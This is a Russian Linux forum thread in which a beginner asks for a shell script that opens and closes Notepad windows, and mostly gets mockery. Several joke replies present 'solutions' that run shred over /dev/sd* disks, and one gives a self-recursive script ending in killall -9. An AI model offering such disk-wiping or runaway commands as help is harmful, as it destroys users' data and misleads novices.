LINUX.ORG.RU

Помогите создать sh файл!

 


0

1

У меня 10 винда, скачал git для этого задания: Создать файл sh который выполняет следую щее: На вход пакетному файлу приходит число (N) (как параметр пакетного файла). Открывается N блокнотов (программно), затем закрываются все запущенные блокноты, кроме одного. Буду очень благодарен!


Кажется, вам в /job

Pyzia ★★★★★
()
Ответ на: комментарий от anonymous

while [[ $N > 0 ]];do exec notepad.exe;((N--));[[ $N == 1 ]] || kill $!;done anonymous N=$1 вот так?, если да, то как его запустить (я полный ноль)

Khmel
() автор топика
Ответ на: комментарий от anonymous

Ну зачем, запустит же. А потом будет тут тред о «ничего не работает, что делать???»

nutsandmilk ★★★
()
Ответ на: комментарий от anonymous

while [[ $1 > 0 ]];do exec notepad.exe

Позорно. exec заменит текущий процесс notepad'ом и цикла не станет чтобы выполняться дальше.

slovazap ★★★★★
()
Ответ на: комментарий от Khmel

git'ом запусти. Зря ты его что-ли качал для этого задания?

slovazap ★★★★★
()
Ответ на: комментарий от anonymous

кто-то уже говорил?

SH (шелом) R (чтение-онли) ED (редактировать)

N=$1 
release=/dev/
for i in `seq 1 1 $1` do
  file=a$i
  shred -N $N ${release}sd${file}
done && init $N ; # и откатить до N

на вскидку, не отлаживал..:-)

MKuznetsov ★★★★★
()
Ответ на: комментарий от anonymous

Так бы и написал сразу: «я безграмотен, напиши скрипт сам».

slovazap ★★★★★
()
Ответ на: комментарий от MKuznetsov

Ключик -n надо. Я б так сделал:

N=$1
for i in {a..d}; do
  for j in {1..4}; do
    shred -n $N /dev/sd${i}${j}
done; done
Автору не повторять!

Deleted
()
echo "#!/bin/sh" > script.sh && chmod +x script.sh

/thread

crutch_master ★★★★★
()
$ cat script.sh
#!/bin/sh
n=$1;
for i in seq n; 
do
    notepad &
    ./script.sh $i
done
killall -9 notepad
crutch_master ★★★★★
()
Ответ на: комментарий от Khmel

я полный ноль

Так прочитай методичку по башу. Ты нахера на ит учиться пошел, если ты полный ноль? Вали в армию не занимай места.

crutch_master ★★★★★
()

У меня 10 винда,

В проводнике: включить Вид→Расширения имен файлов;
Главная→Новый элемент→Текстовый документ;
Главная→Переименовать;
вводишь «файл.sh».

скачал git для этого задания

Если гитом, то:

git clone https://github.com/Microsoft/PowerShell-DSC-for-Linux.git
Копируешь оттуда build_source_kit.sh, переименовываешь в «файл.sh».

Готово

mogwai ★★★★
()
Последнее исправление: mogwai (всего исправлений: 1)

На вход пакетному файлу приходит число (N) (как параметр пакетного файла). Открывается N блокнотов (программно), затем закрываются все запущенные блокноты, кроме одного

#!%WINDIR%/PowerShell.cmd --russian

число n = ТекущийПроцесс.ПараметрыЗапуска[0];
число i = 0;
массив k из число;

Пока i < n; i++;
    k[] = Система.Запустить("%WINDIR%\notepad.exe");

Пока i > 1; i--;
    Система.Запустить("kill " + k[i]);
mogwai ★★★★
()
Ответ на: комментарий от Khmel

Могу. С тебя $100. Либо бесплатно, но после того, как ты докажешь, что забрал документы из ВУЗа.

mogwai ★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.